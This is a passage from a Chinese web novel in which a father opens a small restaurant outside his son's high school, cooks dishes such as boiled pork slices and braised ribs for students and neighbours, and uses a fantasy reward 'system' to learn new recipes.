总是要那么多钱干嘛？伙食费不是说好按月给，我先给你转三千，不够再说。” “我就是要的这个月的。” “一个月你要两万？你糊弄谁呢？你们学校食堂又不是卖金子的，哪吃的了那么多钱。” “食堂那么难吃，我才不想吃，我要在外面吃饭。” “外面吃也要不了那么多。” “你给小三买包买首饰就舍得，你儿子吃个饭想吃好点都不行吗？怪不得都说有后妈就有后爸，我这还没后妈，你就要变成后爸了？” “胡说八道什么！”胡父立刻板起脸来，最终还是选择花钱买他闭嘴，“我给你转一万五，平摊下来一天五百，你就是顿顿在外面吃火锅烤肉也够了。” 见没要到两万，胡一齐忍不住撇嘴，觉得他爸对他还没对小三大方，不过一万五也不错，他最终还是决定见好就收。 虽然之前楚易文说过不要他和叶其林三人给伙食费，但收到钱后胡一齐还是直接转过去一万，表示跟他爸要到伙食费，按之前说好的跟他对半分。 楚家，楚易文收到转账提醒时，直接将钱退回去，表示让他留着自己花。 他此时正在书房剪视频，退完转账就继续忙活起来，很快将视频剪好发出去。 【萝卜竟然还可以和鸡翅一起烧？正好家里剩下点鸡翅不知道怎么做好吃，这就学起来！】 【妈呀，鸡翅煎得真漂亮，看得我好想咬两口（口水）】 【糖醋鱼卖相太诱人了，让我想起我妈小时候给我做过的糖醋鱼，表皮煎得特别焦，连鱼尾巴嚼起来都特别香，可惜她不在了，再也没人给我做糖醋鱼……】 【啊啊啊！每道菜都是我爱吃的，你家还缺孩子不？就不能多我一个吗？】 【有这个手艺你倒是开店啊！天天就知道发视频馋人，你难道真觉得能教会我们吗？】 楚易文在看到评论区喊自己开店的评论时，心说自己还真开店了，只是不能告诉他们。至于为什么不能说，不是他自恋，而是他感觉说出去后真会有好多粉丝过来吃饭，到时候他根本忙不过来。 他在看评论时，旁边房间里，楚瑾钰收到胡一齐发过来的转账，直接打语音过去：“你有毛病啊，突然给我转钱干嘛？” “我要到了伙食费，转给楚爸他不肯收，想着转给你也一样。”胡一齐道。 “我爸都不要，我收你的钱干嘛，你自己留着吧。”楚瑾钰说完又补充一句，“以后我在学校里吃啥喝啥你付钱就是。” “也行。” 他们本来就是有钱一起花，胡一齐闻言没再强求他收下转账，而是语气微微上扬：“看来以前管我爸要钱还是要少了，今天我要到一万五，这样算下来，一年就是十八万，十年就是一百八十万，我要发财了！” 听到他那没出息的声音，楚瑾钰开口打击道：“说不定你爸给人家买辆车都不止一百八十万。” “靠，我爸不至于这么人傻钱多吧？” “那谁知道。” 楚瑾钰说完想到自家老爸这么多年，钱只给爷爷奶奶和自己花，又发现一个他爸的优点。 日落日升，转眼又到新的一天，今天大部分学生还在享受国庆假期，只有楚瑾钰这帮苦逼的高三党已经开始回学校上课。 少了高一高二的学生，学校跟往常比起来都显得没那么热闹，只有高三教学楼有学生活动的声音。 上午九点多，楚易文采购完食材来到店里，刚准备处理食材就接到花店电话，很快有人送过来六个花篮摆在店门口。 由于没把这家店当正儿八经生意做，他并没有将开店的事告诉给朋友，看到花篮很快就想到叶其林他们。 欣赏一下花篮内的鲜花后，楚易文笑着摇摇头，随即进厨房开始处理食材。营业第一天，他准备做个清炖牛肉汤，再来五个菜。 炖牛肉汤，要稍微带点脂肪的肉炖出来才香，牛肉他特意选择牛腱子肉，用刀切小块后加姜片、料酒焯水去腥。 焯水完，楚易文将牛肉捞出来，用温水冲干净表面浮沫放到旁边备用，随即开始将白萝卜削皮切成滚刀块。 大号砂锅已经在灶台上放好，他将处理好的牛肉放进去，先加热水，再放入姜片、葱结等配料，大火烧开撇去表面浮沫后转小火慢炖。 砂锅煮出来的汤好喝，但费时间，牛肉至少要小火慢炖一个半小时以上才能加入白萝卜进去一起煮，这个时间，楚易文开始做其他菜。 早上在码头菜市场，他买了不少青椒和茄子，由于青椒是肉比较厚那种，他决定拿来做青椒酿肉，茄子则是做昨天几个孩子都爱吃的肉末茄子。 肉馅调好塞进青椒内，茄子切好先用盐腌着杀杀多余水分，楚易文转身将米淘洗好，用那个大电饭煲将饭先蒸上。 在厨房里牛肉特有的鲜香从砂锅里开始冒出来时，他开始起锅烧油，先把红烧排骨做出来在锅里炖着，随即开始做肉末茄子。 亮紫色的茄子和深褐色肉末在锅里翻炒，配上汤汁的酱色，看起来就特别好吃，茄子独特的香气和肉香混合，闻起来特别诱人。 店内的锅比家里大好多，炒一锅菜明显更费时间，但跟在桐县做的大锅菜比起来，却又不算什么，楚易文握着锅铲翻炒着，甚至偶尔还能用布包着锅边缘颠一下里面的食材。 等到肉末茄子出锅时，整整装了一大盆，酱红色汤汁均匀裹在食材上，深紫色茄子是这道菜的主色调，配上夹杂其中的肉末，卖相看起来令人食欲大开。 厨房里有四个灶台，一个正在用砂锅炖汤，一个正焖煮着红烧排骨，楚易文做完肉末茄子后，见时间还算充裕，没有同时用剩下两个灶台，而是冲洗干净锅开始将准备好的青椒酿肉下锅煎出漂亮的虎皮纹。 青椒内塞满肉馅，两端都微微露出一些，想要肉馅不掉出来，楚易文很有耐心地先一个个煎两端，将两端肉馅煎得金黄定型，才平放着煎青椒表面。 很快，一大盆被煎出漂亮虎皮纹的青椒酿肉出锅，青椒特有的清香和肉香交织在一起，让厨房里香气更加浓郁。 伴随着厨房里诱人的香味，楚易文开始切猪里脊肉，他按照老爷子以前教过的，逆着里脊肉纹理将肉切成薄片。肉切好，他加入料酒、生抽、盐、白胡椒粉腌制一下去腥，随即又加入鸡蛋清和淀粉，让肉质更加柔嫩。 他现在要做的是做完刚学会的水煮肉片，这道菜谱是他没事干用积分抽奖时抽出来的，想着自家儿子爱吃辣，特意今天做出来看看儿子会不会喜欢。 里脊肉放到旁边让它先腌着，楚易文开始处理配菜，豆芽、小青菜加点盐和食用油焯水断生，同时盐的存在，还能让小青菜保持色泽翠绿。 配菜处理好，他起锅烧油，放入花椒、干辣椒小火慢慢煸炒，随着花椒特有的麻香和干辣椒的辣味被炒出来，一股又香又有点呛人的气息飘满厨房。 花椒和干辣椒炒得微微变色后，楚易文捞出一部分放到碗中备用，剩下的推到锅边缘，用底油继续爆香葱姜蒜，当葱姜蒜的香味被爆出来，混着前面花椒和干辣椒的麻辣香，那股辛香麻辣味已经很刺激。 这还没完，他继续往锅里下入豆瓣酱，小火慢炒，耐心地用锅铲将豆瓣酱的红油炒出来，将豆腥味炒掉，等将那股带着微辣气息的酱香味完全炒出来，整个底料香气特别有层次感。楚易文轻嗅两下，又稍微加点糖和生抽提鲜，随即倒入提前准备好的高汤。 随着高汤被煮沸，汤的鲜味和底料的辛香麻辣融合在一起，组成一股闻起来就刺激开胃的香气。 楚易文端起已经腌制好的里脊肉片，一片片下入微微沸腾的汤中，用锅铲轻轻推着肉片，等到肉片完全变色后，连汤一起倒入提前铺好蔬菜的盆中。 红油汤里飘着滑嫩的肉片，看起来已经很诱人，但这还没完，楚易文将前面盛出来备用的干辣椒、花椒、蒜末、葱花撒到肉片上，起锅热油，将滚烫的热油浇到干辣椒、花椒等配料上，“滋啦”一声瞬间激发出一股更加浓郁刺激的香味。 楚易文做饭时店门是关着的，然而随着他将热油浇上去，紧闭的玻璃店门再也关不住香味，水煮肉片特有的浓烈香味钻着门缝出去，在大门外被风一吹，四下飘散开，简直不要太馋人。 隔壁是家文具店，此时店里完全没生意，店老板有些无聊地坐在柜台后，正想着中午吃什么时，就闻见股带着麻辣气息的诱人香味。 他不由轻嗅两下鼻子，从那股香味中闻出麻辣香、蒜香、肉香，瞬间口水差点没下来。 “附近什么时候有这么诱人的饭店？” 他自言自语完，忽然想到自家店铺隔壁新开的那家店，不由起身走出去。 早在国庆前他就知道隔壁店换了老板，在看到那个有点莫名其妙的“盲盒餐厅”店名时，他感觉又是那种喜欢搞噱头的店，估计不会太好吃。 此时顺着香味走到门口，发现还真是从店里飘出来，他顿时顾不上再吐槽对方的店名，而是被馋得直接在店门口蹲下来。 楚易文并不知道自家菜香把隔壁店老板馋过来，水煮肉片出锅，他开始做香菇青菜。 褐色的香菇片和翠绿的青菜在锅里翻炒，被汤汁裹上油润色泽后，两种颜色搭配在一起看着就特别清爽。 炒完青菜，他拿起手机看了眼，见再有几分钟就会放学，唇角不自觉上扬，觉得时间把握得刚刚好。 厨房和大堂之间有个不锈钢展示台，里面可以给菜保温，同时方便顾客过来后打菜。 一切准备就绪，楚易文从厨房里出来，刚踏进大堂就看到自家店门口好像蹲着个人。 嗯？ 他有点疑惑，不过大白天的他还不至于怕什么，便还是走过去将门打开。 楚易文刚把门打开，蹲在门口的人立刻站起来道：“恭喜开业，我是你隔壁店的，我姓王。” “王老板你好。” 听到原来是隔壁邻居，楚易文立刻露出笑容打招呼。 王老板：“你家菜太香了，可把我给馋得不行，现在能吃饭了吗？” 他话落，放学铃声从学校内响起，楚易文听着铃声点头道：“可以，你看看要吃什么菜。” 虽然是第一次开店，但楚易文准备得还挺充分，不锈钢展示台前有块电子屏幕写着今日菜单和价格，旁边一次性碗筷和打包袋也准备好。 王老板来到厨房前面，望着色香味俱全的五菜一汤，喉咙不自觉吞咽两下。 红彤彤的水煮肉片给人带来视觉和嗅觉双重诱惑，浸润在红亮汤汁中的肉片边缘微微卷曲，光是看着就令人嘴巴里不停分泌津液。 红烧排骨酱汁浓郁，那带着琥珀色的光泽感的卖相，让人恨不得立刻抓一块塞进嘴里，尝尝它有多好吃。 肉末茄子色泽鲜亮，红色小米辣点缀在深紫色茄子和褐色肉末中，光是看着就特别下饭。 青椒酿肉那漂亮的虎皮纹和两端微微露出来，被煎得金黄的肉馅，瞧着就特别好吃。 香菇青菜虽然是素菜，但那格外翠绿的颜色，光是看着就感受到它的清爽脆嫩，让人特别想尝尝是不是像看起来一样美味。 清炖牛肉汤更不用说，用砂锅小火慢炖出来的汤色泽清亮诱人，浅褐色的牛肉和被煮得半透明的萝卜卧在汤里，浓郁的牛肉香气配上萝卜特有的清香，香味没有水煮肉片那么激烈刺激，却格外诱惑人。 由于食材用的比较好，在几个孩子们的商量下，楚易文家菜价格不算便宜。当然，不便宜是跟学校食堂和快餐店比，若是跟那些稍微大点的饭店比，其实也不算贵。 反正王老板在看到菜品后完全没觉得贵，直接每样菜都来一份。 “会不会太多了，你一个人吃得完吗？”楚易文怕他浪费，没有立刻打菜。 王老板：“我跟我老婆两个人一起吃，她去给人送东西，马上回来。” 得知他们是夫妻店，楚易文没再说什么，直接将每个菜给他打一份。 王老板还要看店，忍着馋意选择打包带回自己店里吃，回自家店内后，他本来想等一下妻子，但在饭菜香味诱惑下，实在没忍住。 “我就先尝两口。” 他说完，握着筷子吃了口水煮肉片，瞬间一股麻辣鲜香的滋味就在味蕾上弥漫开来，咀嚼间肉片吃起来特别嫩，好吃到他眼睛都微微睁大。 肉片本身的鲜味和高汤的鲜相融合，再加上花椒的麻、豆瓣酱和干辣椒的辣，让原本只是想尝尝的他连吃好几口，随即更是不自觉端起米饭。 水煮肉片单吃好吃，配米饭更加香，花椒的麻让他吃得嘴唇都微微酥麻，却依旧停不下来，满脑子都只剩下一个念头——怎么会有这么好吃的水煮肉片！ 在他已经忍不住来吃时，盲盒餐厅内此时已经有七八个顾客，全都是路过被香味吸引过来，直接决定在店里吃午饭。 与此同时，楚瑾钰四人在放学后立刻就撒腿往校门口跑，由于今天老师没有拖堂，他们很快来到店门口。 “我去！这么多人！” 他们进店时，店里已经有十来个人，其中还包括昨天那两个女生，她们正在排队。 听到胡一齐的声音，正在给顾客们打菜的楚易文转头道：“你们的饭菜在厨房，赶紧来吃。” 他本来就是为了方便几个孩子吃饭才开的店，自然不会忘记提前把他们那份午餐留出来。 “知道了。” 楚瑾钰四人应了一声，先去厨房里洗手，随即将饭菜和汤端到他们专属桌子上。 “哇，今天有水煮肉片！看起来好好吃！”胡一齐望着那盆红彤彤的水煮肉片，还没吃嘴巴已经开始分泌口水，说完赶紧夹片肉送进嘴里。 肉片经过腌制，加上滑煮，吃起来特别嫩，配上汤汁的麻辣味，吃起来那叫一个麻辣鲜香。 胡一齐将肉咽下去，嘴巴里还残留着微麻微辣的余味，让他忍不住继续动筷子。 楚瑾钰：“好吃，肉又嫩又辣，就是花椒有点烦，咬到时嘴巴都麻了。” “我感觉还好，楚爸炒出来的花椒都没那么讨厌，可以随着肉一起嚼着吃掉。”胡一齐边说边将两片带着麻椒的肉塞进嘴里。 商时贸看到他连麻椒一起吃，表情带着佩服。 对他来说，水煮肉片好吃归好吃，但有点辣，让他吃口肉得配好几口米饭。不过即便被辣到，他还是忍不住继续吃，没办法，谁让水煮肉片实在太香。 他们大口吃菜大口吃饭时，很快顾客们也纷纷买好饭菜找位置坐下来。 “唔，这水煮肉片也太好吃了！肉特别嫩，调味更是绝了！” “真的好好吃啊！我还是第一次吃到这么香的水煮肉片！” “肉末茄子好下饭，红烧排骨更是香惨了！又发现家宝藏餐馆，希望水平能一直保持下去。” 顾客们吃着面前的饭菜，每个人都不自觉夸起来，尤其是昨天来过的那两个女生，直接把每个菜来一份，此时吃得连话都顾不上说。 她们以为昨天的莲藕排骨汤已经够美味，此时吃着麻辣鲜香的水煮肉片，咸香回甜、软烂脱骨的红烧排骨，好吃到想要捧脸。 “每道菜都好好吃啊！为什么这么好吃的店，不是开在我们学校附近！” 其中一位女生感叹完，端起清炖牛肉汤喝了口，牛肉和萝卜的精华完全融入汤中，喝起来醇厚鲜美中带着丝萝卜的清甜，鲜得她眼睛都不自觉弯起来。 “好好喝的牛肉汤！” 不光她一个人觉得牛肉汤好喝，店里其他顾客同样被清炖牛肉汤那鲜而不腻的滋味给惊艳到，差点没把脸埋进汤碗里。 店内顾客们吃得头也不抬时，有从学校里出来觅食的学生被香味吸引过来，在看到菜单上价格时感觉有点贵，然而在看到楚易文时，却是惊喜地叫出声来：“叔叔！怎么是你？啊啊啊！太好了！你竟然来学校外面开店了！” 胡一齐听到那熟悉的声音，转头发现果然是班里同学后，开口道：“别叫了，耳朵吵聋了！” “叔叔开店你竟然也不说一下。”那个同学转头看到胡一齐他们几个坐在旁边吃饭，忍不住抱怨一句，随即见盆里菜已经不多，赶紧道，“叔叔，我要水煮肉片、红烧排骨、牛肉汤。” 第67章 脆皮猪肘 楚易文给儿子班上的同学打完饭菜, 转头问：“你们还要不要加菜？” 其实他是按照几个孩子平时的饭量留的菜，但开店的好处就在于可以随时给孩子们添饭添菜，眼见盆里剩下的菜已经不多, 他自然得问一下。 楚瑾钰三人纷纷摇头时，胡一齐端着碗过来：“楚爸，我还想要点水煮肉片。” 桌上那份水煮肉片里肉已经被吃得差不多，只剩下红彤彤的汤料和一点蔬菜。 “好。”楚易文知道他爱吃肉，直接给他打了一勺肉。 看到那么多肉片落进碗里，胡一齐笑得那叫一个开心：“谢谢楚爸~” 他回座位路上就忍不住往嘴里塞肉，那嫩滑的口感, 麻辣鲜香的滋味，真是怎么吃怎么香。 “好好吃啊！” 刚刚打到饭的同学吃口酥烂入味的红烧排骨，再来片麻辣鲜嫩的水煮肉片。从高二开始就经常被楚瑾钰他们吃饭给馋到, 此时终于能吃上跟他们同款的午饭，简直好吃到想哭。 此时正值饭点，作为早就吃腻食堂的高三生, 好多学生都忍不住从学校出来，到外面觅食。盲盒餐厅离校门口不远, 从店里飘出去的诱人香味，很快吸引更多学生过来。 “好香啊！这里什么时候开了家新店？要不进去看看？” “好啊！” 几个学生陆续走进店里，立刻被扑面而来的香味给馋到，甚至连价格都顾不上看, 直接就要买饭吃。 “红烧排骨看起来好好吃啊！比食堂的卖相诱人多了！我要一份红烧排骨。” “水煮肉片也很不错，我要吃这个。” 看得出来学生们大部分都偏爱肉食，都挑肉菜买，个别讲究荤素搭配的才会点个香菇青菜。 “太好吃了！连青菜都炒得特别好吃！” 青菜颜色看起来就翠绿诱人，吃进嘴里更是格外脆嫩, 尤其是菜杆，咀嚼间甚至带着几分清甜多汁。 “青椒酿肉也好好吃，尤其是里面肉馅，好香啊！” 表皮带着脆韧的青椒配上调过味的肉馅，吃起来外脆里嫩，青椒的清香和肉馅的鲜美融合，吃起来咸鲜微辣，越吃越过瘾。 随着越来越多学生进入店中，楚易文面前的菜渐渐变少，很快红烧排骨最先见底，随后水煮肉片只剩下点蔬菜和汤。 与此同时，系统声“叮叮叮”的在楚易文耳边响起，表示他已开启经营模式，顾客好评度+1+1 系统连续的“+1”声有点吵，楚易文试着在心里喊了声关闭提醒，耳根子终于清静下来。 “啊……怎么没有红烧排骨了……”排到前面的学生有些失望，不过还是道，“老板，可以给我点红烧排骨的汤吗？再来个肉末茄子和青椒酿肉。” “好。”楚易文将红烧排骨的盆半抬起来，将里面肉汤盖到饭上，又给他把其他两个菜打好。 胡一齐：“楚爸，你自己吃饭没？我来给你帮忙。” 他吃饭速度是真快，商时贸他们手里还有半碗饭，他已经吃完，起身走过来想帮忙。 楚易文闻言摇头道：“不用，剩一点就卖完了。” 他说完，连着给几个学生打完，最后只剩下点香菇青菜。 就剩个素菜，他想着也没法吃，于是对刚进来的学生道：“没菜了，你们下次再来吧。” 他话落，有学生失望地转身离开，有学生可能是实在没什么特别想吃的，本着来都来了的想法，开口道：“不是还有个青菜，我要吃青菜。” 到最后，连香菇青菜都卖光光，楚易文放下勺子，终于能转身去厨房端起自己那份午餐坐在儿子身边吃起来。 桌上，胡一齐、楚瑾钰已经吃完饭，叶其林和商时贸还在喝牛肉汤。 “楚爸，你炖的牛肉汤真好喝，里面牛肉也好吃。”叶其林说完夹起块牛肉塞进嘴里。 牛肉炖得酥烂不柴，瘦肉部分吸收汤汁越吃越香，带筋和脂肪部分炖得软糯中带着胶质感，由于吸收萝卜的清香，吃起来脂香浓郁却不腻。 楚易文闻言，端起自己那份汤喝了两口，感觉今天的牛肉汤确实很不错。 最开始，店内学生们好多并没有认出楚易文，直到他跟楚瑾钰几人坐在一起。 楚瑾钰四人组在学校还挺有名，今天来吃饭的都是和他们同年级的高三生，谁还不知道他们，很快就通过他们知道楚易文的身份。 “叔叔，原来这家店是你开的！怪不得那么好吃！” “叔叔，你怎么不多做点菜啊！我都没吃够。” “叔叔你做的青菜也好好吃，晚上可以多做点肉吗？我想吃肉。” 店内除了学生们，还有一些路人顾客，闻言被勾起好奇心。 “你们都认识老板？” 某张桌子上，路人顾客忍不住问同桌穿着校服的学生。 “认识啊，老板是我们班同学的爸爸，他做饭特别香，之前他天天送饭时可把我们给馋坏，没想到竟然会开店。”被问到的正好是楚瑾钰班上同学，他语气透着兴奋和开心。 饭菜虽然卖完，但随着顾客们还在吃饭，香味依旧源源不断从店中飘出去，水煮肉片的麻辣鲜香，红烧排骨的酱香浓郁，清炖牛肉汤的鲜美……直接将闻见味的人吸引过来。 “你们来晚了，已经没菜了。” 都不用楚易文开口，在有顾客上门时，坐在大门附近的学生主动开口。 “现在还是饭点就没菜了？” 顾客有点不解，想到刚刚在店门口看见的花篮忍不住嘀咕：“新店开业生意这么好的吗？” 不解归不解，得知没有饭吃，后面进来的顾客只能失望地离开。 来来回回走了不知道多少批失望的人后，店内顾客们吃完饭陆续离开，最终只剩下楚瑾钰他们几个。 “爸，怎么样？赚的钱够抵消成本吗？” 刚刚卖饭时楚易文心里就大概估算了一下，闻言点头道：“中午这顿卖完，上午采购食材的成本已经全部回来，下午卖完，估计还能赚点。” 商时贸：“挺好的，这样等过几个月，说不定装修钱和厨具成本也能赚回来。” “太好了！我就知道以楚爸你的手艺，开店肯定能赚钱。”胡一齐高兴地道。 叶其林：“中午好多人过来都没吃上饭，估计下午人会更多。” 四人吃完饭也不急着回学校，在店里休息会，直到时间确实已经不早才起身走人。 他们进入教室时，班里同学纷纷看过来，很快有人忍不住开口：“楚瑾钰，你爸真的在学校外面开店了吗？” 店就在校门口，楚瑾钰自然没什么好隐瞒的，直接点头：“对，我爸为了方便我吃饭开的，会顺便卖点，但不多，你们想吃的话记得早点去。” “竟然是真的，早知道我中午就不去食堂了！简直错亿！” “嘿嘿，我中午吃到了叔叔做的饭，有水煮肉片和红烧排骨，特别香。” “我也吃到了，叔叔的炖的汤特别好喝，鲜得我差点没咬到舌头，跟食堂里要么油油腻腻，要么刷锅水一样的汤完全不同。” 几个幸运儿忍不住在班里炫耀起来，听得中午吃食堂的同学脸上露出羡慕的表情。 此时班上人还没到齐，有些吃饭速度比较慢的学生还在回教室路上，当他们陆续进教室时，就听见里面的议论声，有人好奇道：“什么水煮肉片好吃？食堂的吗？” “是……” 有人下意识想要回答，不过想到楚瑾钰之前说过，他爸只是做饭给他吃顺带卖一点，想到多个人知道抢饭的人就更多，瞬间闭嘴。 “没什么，就是吐槽食堂难吃。” “对，食堂的菜真难吃。” 刚刚问话的同学露出莫名其妙的表情：“食堂难吃又不是一天两天的事情，你们至于讨论得那么激烈吗？” 看到班上一批同学默契地瞒着另外一批同学，楚瑾钰感觉有点好笑，不过想到他爸手艺如此受欢迎，心里又有些得意。 下午，楚易文先开车去钓了会鱼，三点多才带着收获回店里。今天他运气是真不错，钓到好几条大鱼，拍完照片发朋友圈后，将鱼杀好剁成两部分，鱼上半部分拿去炖鱼头豆腐汤，下半部分做红烧鱼块。 由于店里只有他一个人，他做饭时下意识将店门关起来。然而经过中午的香飘十里，哪怕他将店门关着，四点多时依旧有人陆续找上门。 有些是附近店铺的老板，有些是中午没吃到的路人，还有些是中午吃过下午还来吃的顾客。 “小吃街今天开始营业了，确定不去吃吗？” “小吃街有什么好吃的，我现在更想吃他家饭菜。” 昨天那两个来云市旅游的女大学生中午来吃过饭后，此时连原本想去的小吃街都放弃，提前来店门口等饭吃。 “我闻见鱼鲜味了，里面肯定是在做鱼，好香啊！”其中一位女生道。 她鼻子还挺灵，店内厨房中，楚易文已经将鱼头豆腐汤炖上，同时开始煎鱼块，两种不同的鱼鲜味飘出来，当然很香。 店门口有人提前过来等饭吃时，学校内，中午来吃过饭的学生都在盼着放学。尤其是楚瑾钰他们班，眼巴巴盯着讲台，生怕数学老师又要拖堂。 离放学还有最后两分钟时，讲台上数学老师开口道：“还有没有不懂的地方？” 底下学生们闻言，纷纷头摇得像拨浪鼓一样。 见学生们都表示听懂了，加上这节课感觉他们专注度很不错，数学老师心里满意，于是合上课本在放学铃即将响起前宣布下课。 经常拖堂的老师竟然提前一分钟下课，可把学生们高兴坏了，在他拿好东西走下讲台时，有几个学生瞬间从教室门口跑出去。 胡一齐见此下意识跟上，很快班上有差不多一半人都抢在放学铃声前跑出教室，让剩下的人脸上顿时露出莫名其妙的表情。 “他们跑那么快干嘛？今天只有我们高三上课，去食堂吃饭又不用排队。” “鬼知道……” 今天食堂当然不用排队，但他们又不是去食堂吃饭，十几二十个人撒腿往学校大门方向跑，等他们跑出学校门口，已经隐约闻见股诱人饭菜香。 店内，由于其他顾客来得比学生们更早，此时已经坐下在吃饭。 下午有鱼头豆腐汤、红烧鱼块、辣子鸡丁、梅菜扣肉、薯粉团、酸辣土豆丝。 “这个薯粉团好好吃啊！外焦里糯，花生碎和腊肉嚼起来特别香。” “确实好好吃，我还是第一次吃这种菜，老板说是用红薯粉做的，我才知道原来红薯粉还能做菜吃。” “辣子鸡丁太过瘾了，麻麻辣辣，外酥里嫩，特别下饭。” “鱼块烧得真好，一点腥味都没有，鱼肉吃起来特别新鲜，尤其是外面这层鱼皮，焦中带韧，我可太喜欢了。” 学生们跑进店里时，就听见顾客们不自觉的夸赞声，再闻着扑面而来的饭菜香，口水差点没流出来。 “叔叔你竟然真的过来开店了！太棒了！” “叔叔我要吃辣子鸡丁，还要那个鱼块！” “哇，叔叔你做的菜太香了，每个菜我都要一份！” 最前面几个学生带着惊喜开始点菜时，楚瑾钰几人也已经到店里，胡一齐撑着膝盖道：“哎呦，累死我了……” “活该，谁让你要跟着跑，明明我爸会给咱们留饭。”被动跟着跑起来的楚瑾钰同样气息微喘，只是比他好一些。 班上同学还要排队打饭，他们直接进厨房就有饭吃，而且是五菜一汤，直接摆满专属座位。 “楚爸，你今天是不是钓到大鱼了，这个鱼头好大啊！”胡一齐看到汤里那个鱼头，不由道。 店内顾客们闻言，立刻有人开口：“老板，原来这鱼是你自己钓的啊？怪不得吃起来那么新鲜！” 鱼头豆腐汤就不用说，鱼汤已经被炖成奶白色，喝起来鲜美无比。红烧肉块更是外焦里嫩，鱼肉吃起来完全没有腥味，满满都是食材本身的鲜香。 还没打到饭菜的学生闻着越来越浓郁的香味，不自觉咽口水，等轮到自己时，真是看哪个菜都想吃，于是转头跟朋友商量：“我们一起点吧，这样能把每个菜都尝尝。” “好。” 楚易文店里的菜比食堂要贵，这里一个菜在食堂能买两道或者三道。但学生们没有谁嫌贵，如果让他们选，他们宁愿吃一道美味的菜，也不想吃两三道难吃的菜。 “辣子鸡丁好好吃啊！对比起来，食堂做的根本就是假辣子鸡！” 红彤彤的辣椒下藏着金黄油亮的辣子鸡丁，吃进嘴里麻辣过瘾的刺激感在味蕾上蔓延，咀嚼间外壳酥脆，内里鲜嫩多汁，两种不同的口感形成反差，配上绝佳的调味，好吃到令人陶醉。 “你快尝尝这个梅菜扣肉，真的好香啊！看起来那么肥，吃起来却是一点都不腻……” 长时间的蒸煮将扣肉多余油脂都蒸出来，肥肉不腻，瘦肉烂而不柴，加上吸收梅菜特有的清香，吃起来别有一番滋味。 以前只能看着楚瑾钰他们吃饭眼馋，偶尔运气好能蹭上一口，现在终于吃上和他们同款的饭菜，香得在坐学生们简直要飘起来。 怎么会有这么好吃的菜！ 他们捧着碗，从红烧鱼块、辣子鸡丁、梅菜扣肉、酸辣土豆丝、薯粉团、鱼汤豆腐汤里吃出了幸福的感觉。 随着放学铃声响起，越来越多人进入店中，有些是中午来吃过的学生，有些是听说校门口有家好吃的新店想来试试。 楚易文下午做的饭菜比中午稍微多一点，但也没有特别多，很快盆里菜就越来越少。 他又给一个学生打完，见排队的人越来越多，不得不开口提醒：“后面的别排了，菜要卖完了。” 排在后面的学生闻言，发出失望的声音，随即忍不住道：“叔叔，你怎么不多做点？” “我好想吃你做的饭啊……” 有刚进店的还好，失望归失望，但本来就没排队，直接转身离开。有些已经排会队的人失望地同时，却是不愿意离开，总想着说不定排到自己时还能剩点菜。 所有菜卖完，见还有七八个学生站在原地眼巴巴望着自己，楚易文是真有些无奈，想到电饭锅里还剩点米饭，于是问：“炒饭吃不吃？” “吃！”几个学生不约而同点头。 得到肯定的回答，楚易文转身将电饭煲里剩下的米饭打出来，起锅烧油，动作麻利地炒出一锅蛋炒饭。 自从开始学厨艺后，他腕力是越来越强，这么大的锅还能颠起来，让鸡蛋液均匀包裹每粒米饭，等到蛋炒饭出锅，那金灿灿的色泽漂亮的像是一盆碎金。 “好香啊……” 胡一齐吃着碗里的，闻言香味又立刻看向厨房盆里的蛋炒饭。 楚易文察觉他的目光，盛了一碗蛋炒饭放到他们桌上，随即将剩下蛋炒饭分给那几个学生。 “好好吃啊！” 咸鲜美味的蛋炒饭吃起来特别香，浓郁的米香和鸡蛋的鲜香融合在一起，越吃越香。 在楚易文开始吃饭时，陆续又有不少顾客上门，面对顾客们对店里这么早就结束营业的疑惑，他直接低头吃饭，当没听见。 晚餐结束，从店里离开的人脸上都带着满足的表情，尤其是学生们，摸着有点撑的肚子，感觉这顿饭是真吃爽了。 他们好多人刚刚吃饭时香得都顾不上说话，现在吃完边回学校边忍不住讨论起来。 “那个薯粉团好好吃啊，表面那层焦焦脆脆的，里面糯糯的，配上花生碎、腊肉和青菜，吃起来特别香！” “我喜欢吃辣子鸡丁，那鸡肉简直绝了，一点都不像食堂里的那么柴。” 学生们回味着晚餐时，楚易文送走儿子他们，开始收拾东西准备回家。 到家里，他终于想起系统，不由查看起来，发现累计的顾客好评已经突破一百。 系统小饭馆的顾客好评会给积分，他下意识去查看积分，发现积分数不变后，好奇起今天获得的顾客好评数量能干嘛。 楚易文再三询问，系统终于有反应，冒出个抽奖转盘，上面写着十好评抽奖一次。 发现原来实体店顾客好评作用是抽奖，他直接选择十连抽。 随着转盘转起来，在看到前面三连“谢谢惠顾”时楚易文有些无语，好在很快就抽中［食谱脆皮肘子］、［刀工+5］、［食谱香辣花甲］、［力气+10］、［大米一袋］、［水果刀x1］。 最终十连抽抽出四个谢谢惠顾，六样奖品，其中食谱和食材倒是没什么好说的，在看到“刀工”和“力气”两项时，楚易文有点好奇。 他的刀工都是自己一点点练出来，见系统还能直接加这玩意，直接选择进入系统厨房，想看看刀工加五有什么效果。 选择学习脆皮猪肘后，楚易文在老爷子的指点下，先用刀刮干净猪肘上的毛。 猪皮处理干净，他用肉针往猪肘上扎孔，扎的过程中，他确实感觉自己力气好像比平常更大些，很轻易就将肉针扎透猪肘脂肪层。 猪肘处理好，先加洋葱、大蒜、香叶等香料开始煮，煮到肉已经熟透但形状没有烂时，关火浸泡一会，让它更加入味。 做菜过程中感受到自己力气和刀工都有所增强，楚易文心情很愉悦，等到猪肘浸泡好，捞出来擦干水分，再次用肉针扎孔。 当他给猪肘表面刷层醋，瘦肉部分涂上油和黑胡椒等调料，肉皮上均匀铺上层粗盐开始烤时，随着猪肘表皮开始脆化，一股浓郁肉香渐渐飘出来。 白醋和粗盐是猪肘形成脆皮的秘诀，再加上恰到好处的火候，很快猪肘表皮就变成漂亮的金棕色，同时在高温下鼓起很多诱人的大泡。 猪肘烤好后不用老爷子提醒，楚易文没有立刻去切它，而是放置着，等待肉汁重新分布回肉中。 他望着猪肘表面那诱人的金棕色，以及微微鼓起的脆皮泡泡，对自己手艺还算满意。 第68章 香辣花甲 楚易文自己满意并没有什么用, 直到他做出来的脆皮猪肘得到老爷子认可，才成功从系统厨房离开。 他学完脆皮猪肘坐在书房里，想到开店还有意外收获, 心情很是愉悦。 时间飞快，随着外面月亮高挂在天上，楚瑾钰下晚自习回家，人刚进门就嚷嚷道：“爸你是不知道，我们班同学今晚一直在聊咱们家店，全在夸你做的菜……” 晚餐过后哪怕还有人想隐瞒，但到底还是让班里其他同学全都知道盲盒餐厅的存在。见此已经吃过的同学干脆摊牌, 